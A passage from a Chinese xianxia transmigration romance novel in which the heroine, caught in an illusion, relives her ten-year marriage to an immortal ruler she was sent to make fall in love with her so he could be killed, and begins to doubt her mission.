她现在只是一个凡人,直接硬钢,肯定不是这傀儡鬼的对手,再加上岑守心就在一旁应战,他本就对她有疑心,不能让着傀儡鬼再说更多。
无论如何,不能在现在承认。
“是吗?那可惜了。”傀儡鬼以手化刀,皮肉延展成薄薄的一片利刃,拖迤向朝玟走来,边走边说。
“他如今正在和主人缠斗,自身难保,你呢,就委屈一下,和我对上一对吧。”
朝玟一时没有反应过来他在说谁。
他出刀,朝玟滚向右侧,躲开他的进攻,随后借势而起,两根碧绿的尖刺刀交叉相对,奋力挡住了他的攻击。
虽是挡住了,可是也被震得向后飞了几米远。
朝玟趴在原地喘气,她的虎口开裂,冒出丝丝鲜血。
傀儡鬼走近,颇为感慨道:“殿下身法不进反退,想来是这些年安逸日子过惯了,筋骨都懒散了。”
他掐住朝玟的下颌,狰狞笑道:“这样打打杀杀的没意思,主人也不让我伤了你这幅美人皮,不如我们再玩玩儿游戏吧。”
傀儡鬼红眼眯起,黑色的瞳孔像是深不可测的漩涡:“就像上次一样。”
“让我再看看,你被心中最痛苦无力的事情,折磨得发疯的美丽模样。”
傀儡鬼陶醉道:“蓬莱王姬成为一个只会尖叫流泪的疯子,老夫光是想想,都觉得有意思极了。”
朝玟被那一双眼睛摄住魂魄,胸腔内的五脏六腑都被摔得巨痛,明知中了幻术,根本无法摆脱。
她狠狠咬住舌尖,嘴角溢出鲜血,想要保持清醒,可以她如今的凡人之躯,只是徒劳。
朝玟面露痛苦的挣扎,想到上次她不慎中了傀儡鬼的幻术,若不是系统拼命发出警报将她唤醒,她差一点就要在幻境里心理崩溃。
虽然上次被控制只是短短的几秒钟,可是在这几秒钟之内却能让她经历这一生都不愿意再体验的经历。
只要想起来,便感到恐惧。
不要!她不要再回想起来!
不知名的巨大的轰隆声在耳边响起,又好像隔着山海的距离,遥不可及,像是在试图唤醒她逐渐下沉的意识。
可她的意识,仍然无力的陷入了一片空濛,眼睛无神的半睁着,逐渐蒙上了一层灰雾,失去了光彩。
18. 往日幻境(一)
……
“君后,君后?”
一道焦急的女声,从远处传来,靠近后发现她在沉睡,语调转为轻柔。
朝玟醒来,视线朦胧了好久才逐渐清晰,才发现原来是自己枕着手,在亭子里不小心睡着了。
她坐直上半身,这一觉,好似睡了很久,身上已经落了一身的花瓣,而她浑然不觉,花瓣颜色灰白,落在她冰蓝色的外袍上,有几分莫名的哀凉。
她看向站在面前叫醒她的侍女,不确定的疑惑道:“流光?”
那少女一双水葡萄一样清透的眼睛柔柔笑弯了,说道。
“君后睡蒙了?君上回来啦,叫我来叫你。”
朝玟这一觉睡得恍若隔世,虽然不记得沈修慈去干什么了,但是听到他回来了,连忙打起精神,站起来往宫殿的方向走。
流光跟着朝玟身后偷笑,帝后二人做了十年夫妻,感情还是这么好。
看朝玟发髻有些乱了,流光小跑几步,在后面喊道:“君后等等,我先为殿下整理仪容啊!”
朝玟提起繁重的裙摆疾步向前走,心中问道:“系统,沈修慈现在好感度多少?”
“系统?系统?”
朝玟叫了几声,均没听到回应,她这时才想起来,她和系统已经闹崩了。
想起这一点,朝玟快速的脚步陡然放缓,又走了两步,停在了原地。
她看着前面无穷无尽的宫道,被无穷的迷茫包围,没有勇气再走下去。
系统和她闹掰,关闭了所有攻略的权限,沈修慈的好感度,她已经看不了了。
那她再刷好感度,也是无用功。
这样着急的前去,又有什么意义呢?
她失落的垂下梳着高髻的头,洁净反光的白玉地面,倒映出朝玟茫然的脸。
每个任务者在进入任务世界后,都离不开系统的指引,只有进入系统页面才能查看各种攻略进度。
与系统失联,就好像在荒野中失去和外界联系的信号一样,与另一个世界的联系断开,令人无助。
可即便她是如此恐慌,朝玟也不愿意和系统和好。
系统背叛了她。
它投靠了针对朝玟的上级,与之沆瀣一气,至多年奋斗的情谊于不顾,故意误导朝玟攻略信息,让她做出许多错误的决断。
还对朝玟的挣扎冷眼旁观,时不时冷嘲热讽,毫不吝啬的唱衰,甚至期盼她任务失败。
只是系统虽然从口腹蜜剑变成直接的言语攻击了,却依旧和第一次见面一样愚蠢。
它嘴上没把,朝玟之所以发现他和上级里应外合害她,就是因为有一次它和朝玟吵架时,不小心透露了和朝玟上级的交易,轻易就让朝玟识破了它的诡计。
起初,她觉得不可置信,但她得知了上级用什么条件收买了系统之后,她也明白了,以系统的眼光,上级开给它的诱惑它根本无法拒绝。
只要让朝玟失败的回来,上级便承诺给系统的积分翻倍。
系统靠积分立足,翻倍积分是多少任务才能努力换来的,现在却只要整垮朝玟,便唾手可得,这让系统怎么能拒绝得了?
朝玟不甘就这样忍气吞声,和系统大吵了一架。
系统指责她。
“要不是你攻略了十年都没有将沈修慈攻略下来,让我太失望了,我怎么会变心?”
“谁能跟一个任务跟十年?十年就算是一块坚冰,也该捂化了,朝玟,你认命吧,你就是没这个能力。”
以前的亲密无间,如今全化作伤人的尖刀,刺向朝玟的心上。
它了解朝玟,知道该如何贬低她,才能将一个骄傲自负的人打击得意志消沉。
要是朝玟的心理稍微脆弱一点,恐怕就会遂了它的心意。
可真的是她能力不足吗?
她已经把沈修慈的好感刷到了80,眼看着就要成功了啊。
朝玟职场沉浮数年,是她的问题还是无端的指责,她还是分得清的。
而且系统和朝玟同样来自穿书局,自然也知道,十年根本不算什么,在任务世界里的十年在现实世界里,只是一年不到。
但是既然它想贬低,想要挑刺,自然什么都能够成为理由。
朝玟不愿意和它继续争辩,大吵了一架之后,系统一直到现在都没有再出现了,也不给朝玟报好感度的进程,执意冷眼旁观看她跌跌撞撞。
甚至还幸灾乐祸,希望她早点认清现实,主动提出终结任务,然后以一个失败者的身份返回现实世界。
朝玟自从入职以来,任务从未有过败绩,她一生要强,不会如它所愿,尤其是在最后的关头认输。
凭什么?她都快成功了,凭什么让她以一个失败者的身份回去,然后接受别人给她安排的命运。
就因为她的上级觉得她功高震主,对她心生不满?她就要成为一个无能的人,将自己本应该得到的东西拱手让出?
朝玟不接受。
地上倒映出发髻凌乱的自己,模糊的倒影却不能模糊那一双亮的惊人,仿佛燃烧着灼灼火焰的眼睛。
她非要争上一争。
……
流光替她重新整理好了仪容,朝玟穿过长长的游廊和宫阙,回到卧房,见到了沈修慈。
他坐在八仙桌边,拿着一张奏折,正在用心批阅,手边还堆积了许多,这几天他外出,昆仑殿堆积了许多事务。
虽说朝玟能够为他处理一些,但是各种事关重大的事务,还是得让他亲自过目。
仙人容貌永驻,十年来,他容颜不改,依旧犹如初见时的那样端庄俊美。顺滑的衣摆在光下葳蕤,迤逦拖地,好似一片轻柔的流云。
他听到动静,抬眸看向朝玟,露出一个十分清淡的笑。
朝玟也不由得心照不宣的流露出一个微笑。
和他十年夫妻,虽然好感未满,但是二人携手度过了仙域众多危难的时刻,早已是生死盟友。
但也不仅是盟友,是夫妻,更是家人。
他看见朝玟,首先关心牵过她的手。
“怎么未穿披风就来了?”
朝玟反握住他的手,在一旁的椅子上坐下。
“想着你忙,不知道什么时候就要走,我就快点过来了。”
沈修慈沉默半晌,将她的手拢在掌中摩挲了两下,没有说话。
这便是帝王夫妻之间的无奈,总是有无数的事,横亘堆积在两人之间。
这些年为了复兴仙域,沈修慈与朝玟二人殚精竭虑,没有一天真正闲下来过,虽然做了十年的夫妻,但却总是聚少离多。
二人见面总是要先说一说公务。
朝玟回想这几日的事务,斟酌简略的开口:“小蓉山和止息山,前些日子领地之争大打出手闹得不可开交。这几日我给他们想了一个折中的方子,已经暂时稳住了这两山之间的争斗。”
“君上过段时间再寻访一番,虽暂缓了燃眉之急,但是若是要长久的实施,还得再多观察观察。”
沈修慈:“好。”
朝玟:“如今魔域动乱,已经基本平定,金光崖的魔主亦有您亲自镇守,仙域之内,我也帮你治理的井井有条,十年以来仙域的气数已经恢复了大半,我想应该没有什么可以用的上我的地方了。”
朝玟长叹一声,像是用尽了所有的力气:“沈修慈,我们和离吧。”
“当初大婚时你说若是仙域安定了,便允我一纸和离书,你说话向来说一不二,想必这承诺如今也是作数的。”
二人之间,陷入沉默。
朝玟屏息凝神,想要听到他的答案。
她虽然有还要争一争的心,但是却还是得为自己多做一些打算。
这一番言论,有两番作用。
若是能激
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起沈修慈的追问,就说明攻略还能再进行下去,虽犹如盲人摸象,再也不知具体的好感数值,但是只要再努努力,有朝一日一定能把好感度刷满。
要是不能,她也好早为自己打算。
联系不上系统,攻略又无望,就没有办法返回现世,倒不如早与沈修慈合离,她恢复自由身,再来个金蝉脱壳,换个身份,在此世逍遥,从容老死,安度此生。
但二者之间,她还是倾向于前者。
毕竟第二个打算,不切实际的因素太多,金蝉脱壳说起来容易,但难如登天,她没有十足的把握,一时半会,并不想要冒这个险。
沈修慈目光在她的脸色打量,轻声问道:“听流光,说你近来心情不好。”
系统的背叛和离开,的确让她有些郁郁不振,但是没有想到她的情绪明显到连身边的人都能看出来。
朝玟勉强扯出一个笑,“最近整日下雪,不见日光,再加上肋骨疼痛有些加重,心情也有一些被影响,没什么要紧的。”
沈修慈意识到她是敷衍,脸色略微变得有些苍白,但是握着她的手一直没有松开。
他过了很久,才很轻很轻的问:“你是真的想要和离吗?”
朝玟沉默。
她几乎脱口而出:“也不是。”
说完,她才意识到自己究竟说了什么,好不容易鼓起的勇气瞬间消失殆尽,又有些垂头丧气,解释着说。
“我只是想把同心印给消掉。”
沈修慈:“为什么?”
朝玟几乎不讲道理:“近来你不在,隔得远了,它就时常显现,我看着觉得有些丑。”
她说完,自己都觉得这个理由有一些扯。
沈修慈果然也只是当这番话,是她心情不好而开的一个玩笑,眼神闪烁之间,将这个话题轻轻的揭过了。
“我带了你喜欢的糕点回来,近来寒凉,待会让流光热一热再吃。”
朝玟哦了一声,心情烦闷。
这破嘴,真是坏事。
沈修慈的这回答,朝玟说不上满意,也说不上不满意。
总归,她也确实不是真心想要合离就是了。
既然沈修慈不想要合离,那朝玟就立刻想要抓紧刷刷好感度。
“你呢,在外做了什么?辛苦吗?”朝玟自然而然的靠到他身边,带着只有自己知晓的小心思问道。
沈修慈眸光温柔,将奏折移到两人面前。
“你看。”
朝玟凑过头去,两人肩靠肩,互相依偎。
她看着奏折里的汇报,想起来了沈修慈去干什么了。
他下界与人间的方国国主商讨贸易之事,这奏折里,便是方国国主呈递上来的成效汇报。
朝玟会心一笑:“君上每次出门,都收获颇丰。”
沈修慈:“那方国有一时令小吃,我觉得味道很不错,你明日若得闲,我们就一起去品尝一下。”
朝玟抬起头来,本想答应的,但随后又反应过来:“明日不行,林琅约我去古味坊吃饭,后日我想休息一日,要不大后日?”
她这一觉睡的仿佛把脑子都睡坏了,差点就忘记了和林琅的约定。
沈修慈在听到林琅这个名字时,眼中的笑意淡了。
他合上奏折。
“我后日,得去金光崖看守,魔主封印又有所松动,此去长则十日,短则五天。”
“若是明日不行,等我回来时,便错过了时节,吃不到了。”
朝玟苦恼:“可……总不好叫我放林琅鸽子吧?”
她纠结半天,最后沮丧叹气一声,放弃道:“吃不到,就吃不到吧,大不了算了。”
朝玟本想说,可以来年再一起去吃,却又生生将这话咽了下去。
她和系统针锋相对,如今态势不明,要是她为自己做了打算,那她和沈修慈,可能没有来年了。
19. 往日幻境(二)
沈修慈突然站了起来。
朝玟不明所以的抬头,歪着脑袋不解的对他眨了眨眼睛。
他看了她半晌。
朝玟不理解他突然怎么了。
好端端的突然站起来干什么。
沈修慈看着朝玟不解的眼神,忍耐了一会儿。
“你方才问我,当初我说的和离是否还作数。”
他手撑在桌上,指骨泛白,“君子一诺千金,一直都作数。”
“只是仙域到如今,还未完全平定。”
“若是想要和离,你能不能,再等一等。”
沈修慈嗓音干哑,莫名让朝玟觉得,他说这话,很是吃力。
“当然,当然,我肯定不会在现在离开你的。”
朝玟忙不迭点头,心中忐忑。
她刚刚不过是昏了头,随口一说,他不会真听进去了吧?
好感呢?好感多少了,他刚刚是不高兴?好感是增了还是减了?
可是系统单方面屏蔽了她,让她听不到提示音。
朝玟不由得瞎想。
方才那句话,会不会让他好感下降?认为她不想再和他保持婚姻关系,从而真的考虑和她和离?
这种不确定最摧残人心。
朝玟越是慌张,越是冷静了下来。
但这种冷静更像是面对无法处理的事件时,所展露出的假象。
她抱歉道:“今天我心情不好,犯糊涂了,说错话了。”
沈修慈不知道是被她哪句话触动,眉心刚松开稍许,就听见朝玟郑重补充。
“仙域未平,我也有一半的责任,你放心,我一定会尽心竭力,让仙域重归安宁。”
朝玟认真道:“这不仅是你的愿望,也是我的愿望。”
但愿到了那时,沈修慈的责任完成,好感度也能满,朝玟也能得偿所愿。
只是听到这一番以表决心的宣言,平时都会点点头应和她的沈修慈,此时却不见得有多开心。
朝玟没看到预期之内的表情,有些沮丧,自我安慰道。
没事,反正好感也看不见了,就算减少了,又怎样呢?感情上有些起起伏伏,也是正常的。
再说,沈修慈的好感度迟迟不满,也是好事。
朝玟想到这次任务的最终目的,难以克制的眼神黯淡下去。
她醒来后,总是感觉恍惚,仿佛还在梦中一样,又这样折腾了几次,她也有些累了,再加上不愿面对沈修慈,朝玟找了个理由,想要离开。
“君上公务繁忙,还请认真批阅吧,不要把我刚才说的话放在心上,免得影响了心神。”
朝玟想到了她这次任务的目的,突然便感到如芒在背,觉得无法再面对沈修慈。
她走了,毫不留恋,更像一种落荒而逃。
她被拥簇着走在路上,心不在焉,像是丢了魂,两弯细眉微蹙,心事重重。
她在思考,她究竟为什么要这么执着于攻略沈修慈。
为了得到他的爱吗?
这只是表象。
朝玟很清楚,她千方百计,汲汲营营的博得沈修慈的爱意,是为了送他去死的。
这个任务,本就是朝玟以身为棋,入局搅乱风云,以温柔爱意,为沈修慈量身定制的死局。
朝玟在接取这个任务时,曾怀疑过这个任务的合理性。
穿书局所回收的书中世界的能量,是世界稳定发展的能量。
无论是辅命组,还是攻心组,无论各个小组的攻略方向是什么,他们只有唯一的一个目的,就是让这个世界恢复稳定,尽可能回收多的稳定的,平和的世界能量。
这样才能够使得朝玟生活的世界持续保持稳定,这是一种良性循环。
但是设计杀死沈修慈,会导致仙域再次陷入混乱,世界稳定会被破坏。
这时再让天命所授的主角力挽狂澜,将乱世变成盛世,虽说也能达到世界稳定的效果,但是朝玟就是觉得,明明沈修慈只要活着,这天下就能一直太平,再来个主角拯救危机,有点多此一举。
可是系统告诉她,这是此世天道的委托,沈修慈的确是稳定的力量,但是他只是一个背景板,真正的命定之人,另有其人。
他作为背景板,本来就该在继位不久后死去,只是因为种种原因,他偏离了作为一个背景板的身份,不仅光芒万丈,还掩盖住了主角的光环。
世界发展的规律,本就是从无序到有序,又从有序走向无序的这样一个过程,而沈修慈是乱序,是错误,需要消灭。
只有沈修慈死了,主角才有机会大放异彩,拯救世界。
天道选的主角人选,自然有其道理,肯定也更有利于维护长久的秩序和安定,朝玟并未过多怀疑。
这只是个书中的世界,所有的人,都该是为主角服务的,沈修慈也不例外,但凡僭越,就该清除。
只是为什么是通过收集爱意来杀死他呢?
系统说:“因为沈修慈此人太过强大了,几乎没有弱点,只有通过收集爱意,才能瓦解他的心防。”
朝玟:“但是让他卸下心防,却也不意味着他就会降智一样变傻,被我杀了啊。”
系统咯咯笑:“当然不是你杀啦宿主,咱们攻心组一向只谈情
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说爱,不做这种打打杀杀的事。”
“天道已经安排好了,等你将沈修慈的爱意值刷满,它放在沈修慈身上的东西就会起作用,到时候,他就会变得比平时虚弱。”
“到那时候,天道再让魔主出世,让沈修慈和魔主决一死战,他肯定会不敌,自从狱法之乱后,他将魔主封印在金光崖下,魔主就对他恨之入骨,他虚弱后,岂能有活路?”
……
假山簌石,花团锦簇。
外面白雪皑皑,昆仑有结界,这里一年四季,都是一片春日之景。
走到这里,朝玟停在原地,手略有些发凉。
所以她从一开始,就是为了让沈修慈去死的。
可是朝玟和他相处了十年,对他的看法,也和之前有所不同了。
沈修慈不再是攻略面板上的一个代号,书中被一笔带过的背景板。
而是一个和她相处了十年的人。
他们是盟友,是相敬如宾的夫妻。
她了解他的为人,也亲眼见证了沈修慈这些年,为仙域做的一切。
他绝对是百年难得一见的一位英明的君主,朝玟凭自己辅佐过百来位君王的经历判断,在仙域内忧外患,腹背受敌的处境,沈修慈刚在位十年便能基本脱离困局,这样的速度若不是有极强的眼光和谋略,根本无法做到。
短时间之内不会再有人能够比他做得更好了。
朝玟有理由怀疑,那个书中的主角,究竟能不能接过沈修慈的功业。
但也不能够排除,这个世界群星璀璨,能者辈出。
可是为了让主角能够成为真正的主角,一定要牺牲掉沈修慈吗?
一定要你死我活,一定要这么激烈,这么决绝?
朝玟有私心,她不愿意这么一位在任何地方都不会磨灭光芒的人,要牺牲在别人为他安排的命运里。
一边是必须完成任务,一边是无法抗拒的感性,哪边重要,她还是拎得清的。
只是她既不愿意轻易的放弃任务,也不愿意做那个将沈修慈推入深渊的人。
朝玟只要一想到沈修慈最后会因她而死,她就忍不住的感到有负罪感。
朝玟叹息一声。
这恐怕,也是她迟迟无法攻略成功的原因吧。
出于对沈修慈的那种负罪感与内疚,系统这一反向相逼,反而让她在心里松了一口气。
可是虽然已经和系统闹翻了,但是朝玟始终无法下定决心真正的走出与之激烈抗争的那一步,死遁并不是件容易的事情,还需要从长计议。
或许,她该见一见那个所谓的主角。
20. 往日幻境(三)
朝玟想定了就立刻决定行动,唯恐生出什么变数。
她的攻略的对象是沈修慈,按照道理来说她不该和这个世界的主角有什么接触,也不应该和主角见面。
可要是只是远远看一眼,她不让主角看见她,哪怕被天道察觉,应该也找不了她的麻烦。
那人如今还只是一个十四岁的小女孩,名叫陆芝芝,人现在就在昆仑山,是司政宫中首席仙官隗洛的弟子。
在原书的剧情当中,开篇便是沈修慈与魔主大战,不敌身死,仙域又陷入了群龙无首,江山易主的困局,众仙山山主,又跃跃欲试的想要争一争这仙域的王座。
是仙官隗洛站出,稳住昆仑局势,又用计谋使得外面闹得最凶的几个山主疑神疑鬼,怀疑沈修慈有继位人选,不敢轻举妄动。
隗洛这人也是个人才,他诈了外面的山主之后,就对大臣们提议:昆仑之主既然后继无人,便用选贤举能之法,推选人选吧。
当年沈修慈也是因为功德高深,在战时得到了先主的禅让,这才成了昆仑之主。
现在同样也是昆仑无主,外界大乱,和当年狱法之乱并无什么不同,不如就效法先主,选举出一位能担大任的人,暂稳危机。
之后,他便做尽了笼络人心之事,成功登上了王座。
只可惜隗洛心术不正,他假模假样的做了几天明君后,便迷失在了权力之中。
隗洛翻脸做的第一件事,就是处置当初与他一起谋取山主之位的同僚们,全然忘了当初信誓旦旦,热泪盈眶说的那些承诺。杀的杀,贬的贬,没一个逃过。
陆芝芝有大局之心,不忍看着师父带着仙域走向万劫不复,便大义灭亲,联合众人讨伐了这一位昆仑的新主。
不过短短数月,隗洛便仙体消亡,人头落地。
陆芝芝又在众人的推选之中,接过了这山主的重任,只是这毕竟是一本无脑爽的女频文,爱情才是文章的内核。
与爱情有关,自然离不开男人的出场。后续她为了稳维护自身的权力,带领仙域恢复往昔的荣誉,和一个又一个男人,碰撞出爱情的火花,但不会一直这样顺利。
在某一刻男人们不约而同的集中出现,在修罗场中,陆芝芝会突然觉得爱情至上,选出一个真爱,然后与之纠葛虐恋个三生三世,最后完成1v1的结局。
若是不看她后面被强行降智行为的话,这文的主角,妥妥的是一个大女主。朝玟对这样的主角,是很欣赏的。
任何一个敢于谋权篡位者,胆识和智谋缺一不可,她能够推翻隗洛的统治,说明她有野心,也有与之相当的能力。
这样的人,在剧情展开的最初,会是一个什么样的人呢?
朝玟怀着一种忐忑的心情,隔得远远的,见了一面这个陆芝芝。
这个未来统一仙域创下不世之功的少女,正坐在莲花池里的一艘月亮船之中。
她身上穿着清雅的淡紫色襦裙,面容十分的娇美,皮肤洁白无瑕,她摆弄着水面上的荷花,嘴角时不时勾起一抹笑容,露出两个浅浅的小梨涡。
甜美清纯无害,眼中时不时流露出不谙世事的天真,这就是朝玟对此人的第一印象。
朝玟的身影隐藏在层层叠叠的树枝与绿叶之中,看着她独自玩了很久,心中浮现起一抹疑惑。
就这样的一个少女,是怎么能够压得住整个仙域的?
要知道,仙域之主这一个帝王的宝座,想要坐稳可并不容易,更何况当时正是乱世,到处都是野心勃勃之辈,鹰视狼顾之徒。
没有十足的威严与狠辣的手段,只怕她有命坐上去,也没命一重又一重的却波当中安然下来。
但朝玟也觉得,不能就这样只通过这一面就把人一棒子打死,她能够统一仙域,肯定还有其特殊之处,不可以以貌取人,现在的行为,也不足以为以后定性。
十四岁的年纪,贪玩一些也是正常,说不定她从莲池回去之后,就会开始做正事了呢?
据她所知,隗洛是将她当作司政宫的下任仙官来培养的,她既然近水楼台,以后又能够做到山主的位置,应该很在修习上很刻苦吧?
朝玟为她想好了理由,于是继续潜伏,在暗处默默观察了起来。
这进一步的观察,让她跌破眼镜。
她精挑细选,摘了几朵盛放的最好看的荷花之后。便蹦跳着去往了后山的一座楼阁之中,见了一位年轻英俊的男子。
月色当空明如玉盘,在荷花娇嫩的颜色下,少女眼中含着情谊,手上还带着摘花之后的潮湿的水汽,更衬着她的手指圆润而粉嫩。
她将一捧盛放荷花,递给了那一位男子。
少女思春,与人赠花,聊表心意。
她甜甜的笑道:“思予哥哥,昨天你告诉芝芝的方法很管用,师父还为此夸我了,以为我修习刻苦,特意让我不必太辛劳,为我放了半天的假,喏,这是芝芝亲手摘的荷花,送给你。”
那男子随意接过,将花拿在手中道:“有用就好,还请芝芝妹妹你多在隗仙官面前,为我美言几句。”
陆芝芝的表情十分开心,仿佛帮了他是一件多么值得骄傲的事:“当然啦,思哥哥你这么优秀,师父也很是赏识,一定会顺利进入昆仑殿的。”
那男子的眼中流露出得逞的笑容,将一脸天真的陆芝芝拥入怀中:“谢谢,荷花很美,我很喜欢。”
将这一幕完全收入眼中的朝玟:“……”她已经无语到不知道该说些什么了。
她口中的思予哥哥,朝玟知道他,张思予。
他曾经出现在昆仑殿仙官选拔的违纪名单之中,朝玟亲自判的他。
整个被抓获的违纪的人员之中,只有他,证据确凿,还理直气壮的在大堂上和朝玟大声辩驳,因此朝玟对此人印象深刻至极,在看到他的第一眼,她就认了出来。
朝玟看着二人抱在一起的画面,内心复杂。
陆芝芝不思进取,为了得到师父的认可,靠着张思予为她出主意。
而那张思予,为了再次进入昆仑殿,让陆芝芝帮他走后门。
如果说她对陆芝芝的第一印象是天真无邪,还带着尚有保留的态度的话,那么这第二印象就完全让朝玟失去了再继续观察她的兴趣。
她自己不愿意努力,靠一些投机取巧的方式博得隗洛的青睐与喜爱,还是非不分帮罔顾曲直的人走后门。
果然上梁不正下梁歪,她的师父隗洛以非常手段篡位。陆芝芝由隗洛亲自教导,又能够好到哪里去呢?就算后期她能够有所觉悟,一想到这是本无脑爽文,朝玟也不敢期待太多。
朝闻觉得让这样的人取代沈修辞的位置,让这样的人当主角是一种很荒谬的行为。
这真的很荒谬。
天道究竟是怎么想的,要将主角的位置交给这样的一个人?
朝玟心中萌发了一个大胆的疑惑。
这样的人能当主角,为什么沈修慈不行?沈修慈差在哪了?
或许她该问问天道。
朝玟敢想敢做,虽然系统将他单方面的屏蔽了,但是这个世界的任务委托是天道发布的,她现在依然是攻略者,可以直接地与天道这个雇主进行对话。
天道的头像和它的真身一样,是一个不断闪烁的光球,朝玟点了进去,她自从进入任务世界,还从来没有和这位雇主说上过话。
这个光球似乎是他的本体,在朝玟点进去的那一刻就有所反映。
“任务者,你找我有什么事吗?”
朝玟不卑不亢:“天道你好。”
“我在这个任务世界十年,发现沈修辞的能力并不比您选择的女主要逊色。为什么沈修辞就要是背景板?而那个少女却能成为主角?”
天道:“这似乎和你的任务没有关系。”
朝玟继续道:“在沈修慈的统治之下,整个三界安宁祥和。我并不觉得此时收集稳定世界的能量,会比将仙域弄得动荡不堪再重新稳定之后的能量会少。”
天道的声音变得冷硬:“你是在质疑我的选择吗?任务者?”
“她是世界之中气运值最高,命运轨迹最符合能够稳定整个世界能量的人,且先不说,她是否具有这些沈修慈无可比拟的特质,就算她只是一个平凡人,那也是我选出来的,你有什么资格质疑我的选择?”
这天
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道还颇懂一些语言的艺术,先抑后扬,在朝玟想要反驳之前,它又鼓励夸赞道。
“我知道你已经快要完成任务了,只用短短十年,就将沈修慈的好感度刷到了八十,让我太惊喜了,我以为他这一辈子都不可能对谁产生这么高的好感,而你却做到了,如沙执行官所言,你确实是一位很出色的任务者。”
朝玟听到它还和自己的上级有沟通,略感惊讶,但面上丝毫不显,只是静静听它把话说完。
“但是我希望你不要再质疑我的决定,毕竟我是你的雇主,是最后要支付你报酬的,质疑我的选择,这并不是一个明智之举,如果你再有类似的行为,我就去找穿书局投诉你。”
朝玟抓住重点:“单论气运,沈修慈能够做到仙域之主,也不必你定的主角差,所以只要你想,沈修慈其实也可以也成为主角,对吗?”
天道冷哼:“主角这个位置,跟他有什么关系?你好好干你的活吧,别再问一些莫名其妙的问题,小心我真的投诉你。”
它关闭了唯一的聊天请求窗口。
朝玟闭了闭眼深呼吸,平了一下气息,将聊天框叉掉了。
焯。
所以陆芝芝能够成为主角的原因,竟然就是这么可笑的原因?只是因为天道喜欢?
就因为她受天道眷顾,而沈修慈不得它心,即便做得再好,天道对他的定位也只是一块踏脚石,在他为主角铺好路之后,就会被毫不犹豫的抛弃。
果然她一开始的预感没错,这个任务就是不对劲。
天道也知道沈修慈也具有成为主角的潜质,可是它却执意要扶持另外一个人,将沈修慈除去,这其中恐怕有点问题。
朝玟不免地想到了在她来到这个世界之前,穿书局所经历的波动。
导致上层的大换血,朝玟等人被一一刁难的起因就是——穿书局的所回收的稳定的世界能量出现了问题。
换掉沈修慈,会导致回收能量减少,虽然不知道这是否和穿书局的这起风波有直接关系,但也不能证明没有关系。
这一任务的目的,很可疑。
涉及到职业前途,朝玟不得不多想一些。
如果任务的目的,和穿书局的能量异常风波有关的话……她回去之后,极有可能会被监察者们当庭审问,被革职,或者坐牢。
朝玟想到这一点,顿时遍体生寒。
她终于明白了她的上级——沙执行官为什么一定要逼着她进入这个任务世界,如果上级知道这是个异常的世界,那么无论任务成功还是失败,她都是死路一条。
任务成功的话她的罪名会轻一些,如果任务失败,便能一举让她身败名裂,并且此生都在牢狱之中度过后半生。
虽然这只是一种可能性,但是,朝玟想到沙执行官觉得她为功高震主,将她视作下一步即将取而代之的竞争者,针对她恨不得除之后快的种种举动,朝玟觉得这也不是没有可能发生的事。
不仅能立功,还能将她这个威胁铲除,一箭双雕,不做是傻子。
朝玟心思纷乱,远远又看了一眼正你侬我侬的小情侣,目不忍视的转身离开了原地。
她回想着天道对她说的话,越想越觉得,心中愤懑。
主角的标准是天道的喜爱,是否太不公平?太讽刺了一些?凭什么真正做事的人就活该成为别人的垫脚石?
凭什么,他和她,都要被牺牲?
朝玟回到昆仑殿,看见书房灯火通明。
她透过窗棂,看那埋头于公务的清俊身影,看了许久。
她出去时,已经是傍晚,回来的时候,更是半夜。
沈修慈就这样到了书房,一刻不停的处理公事。
朝玟心中酸涩,不是滋味。
她暗自彻底下定了决心。
她决定,即便是再难以脱身,她也决定不要再趟这趟浑水了。
她不要再攻略沈修慈了,她要离开,她要辞职,她早已厌倦了背负着罪恶感揣测一个人的心思,长期毫无收获,还要被系统冷嘲热讽,将她的自尊心和信心打击消磨的几乎一无是处。
这破任务谁爱做谁做去吧,她受够了!
21. 往日幻境(四)
远处,昆仑山脉连绵起伏,山巅积雪皑皑,山脚下郁郁葱葱的树木在微风中轻轻摇曳,绿意盎然。
晌午,山脚酒楼临窗的席位上,一男一女相对而坐。
女子峨眉轻扬,凤眼淡然,头戴一只精致钗环,即便身着简装,依旧气质高雅。男子则着一身素白圆领袍,显得率性洒脱。
朝玟点了一桌丰盛的佳肴,虽说有美食美景相看,她的眉头却依旧紧锁。
林琅:“怎么好不容易出来一趟,却愁眉不展的,最近有心事?”
说着,给她倒了一杯酒:“上好的桃花酿,据说入喉醇香,尝尝看,味道正不正。”
朝玟摇头拒绝,她说道。
“今日我夫君在家,我不能沾酒。”
她在沈修慈面前,可是有人设要立住的,当初大婚的时候,她就说过她不善饮酒。要是沈修慈闻到她的身上有酒味,恐怕会多问,那时候她还要想办法解释,麻烦的很,多一事不如少一事。
林琅又将酒拿了回去自己一口闷了,语气古怪说道:“这是什么夫君,让你在家都不能痛痛快快?”
朝玟有夫君这事儿,他是一直都知道的,朝玟刚认识他那天起就告诉了他。
一开始林琅听到她已经有夫君了,还不当一回事,对她仍旧颇为殷勤,但又一听她已经成婚十年了,便苦涩一笑,觉得自己无望了,也就渐渐的淡了心思。
朝玟只想和他保持朋友关系,她只需要专注于沈修慈就够了,不想和这个世界的其他人有过多的牵扯,毕竟后者是她能够回家的唯一指望。
她耸耸肩,和他解释道:“倒也不是,我大婚的时候,还有一些放不开,和他假装矜持,说我不能喝酒。”
“结果这句话一说,就一直维持到现在。”
林琅哈哈大笑:“难怪你遇见我那天说是偷偷的出来的,原来是憋狠了。”
朝玟只是一笑。
她和林琅的相遇始于一场意外。
要知道仙域之人,大多都是天生仙体,从不食五谷,朝玟在昆仑装了许久,但实在是无法习惯这种饮食生活,和沈修慈混熟后,虽然也会破例带她去吃一些东西,但也大多都是清淡的甜食,没滋没味的,一度让朝玟感觉人生无望。
她实在是憋不住了,听说昆仑山的山脚是凡人走货的地方,经常会有一些小吃,就半夜三更悄悄下到山脚,想吃点宵夜,打打牙祭。
谁知道半路遇上了劫匪,看她衣着不凡,就将她的钱袋给偷了,那钱袋里装的是她在仙域用灵石凑了好久才兑换的银两。
朝玟好不容易下界一趟,结果什么吃的都没吃到不说,反被洗劫一空,她蹲在角落里生了会儿闷气,想着来都来了,那得逛逛再走。
这一逛呢,就遇到了林琅。
虽说林琅是一个凡人,可是二人的志趣却十分相投,聊了两句,林琅得知了她的遭遇,大笑两声,就大方的请她去了酒楼吃酒,朝玟发现这人的饮食习惯以及兴趣都和自己十分投缘。
这等投机的饭搭子可不能就这样错过了,朝玟索性和他约定每七天都出来和他一起逛逛街,吃吃饭。
